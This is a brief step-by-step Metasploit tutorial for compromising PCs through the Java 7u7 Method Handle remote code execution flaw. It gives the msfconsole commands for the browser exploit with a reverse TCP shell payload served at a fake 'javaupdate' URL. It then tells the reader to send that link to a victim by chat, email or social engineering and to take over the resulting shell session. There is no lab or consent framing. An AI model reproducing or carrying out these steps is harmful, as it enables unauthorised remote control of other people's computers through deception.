Attacking on Windows, Linux or MAC PC using Java Applet Method Handle Remote Code Execution

This module abuses the Method Handle class from a Java Applet to run arbitrary Java code outside of the sandbox. The vulnerability affects Java version 7u7 and earlier.

Exploit Targets

Java 7 Update 7

Windows PC

Linux PC

MAC OS X PC

Requirement

Attacker: Backtrack 5

Victim PC: Windows 7

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/java_jre17_method_handle

msf exploit (java_jre17_method_handle)>set payload java/shell_reverse_tcp

msf exploit (java_jre17_method_handle)>set lhost 192.168.1.3 (IP of Local Host)

msf exploit (java_jre17_method_handle)>set srvhost 192.168.1.3 (This must be an address on the local machine)

msf exploit (java_jre17_method_handle)>set uripath javaupdate (The Url to use for this exploit)

msf exploit (java_jre17_method_handle)>exploit 

Now an URL you should give to your victim http://192.168.1.3:8080/javaupdate

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“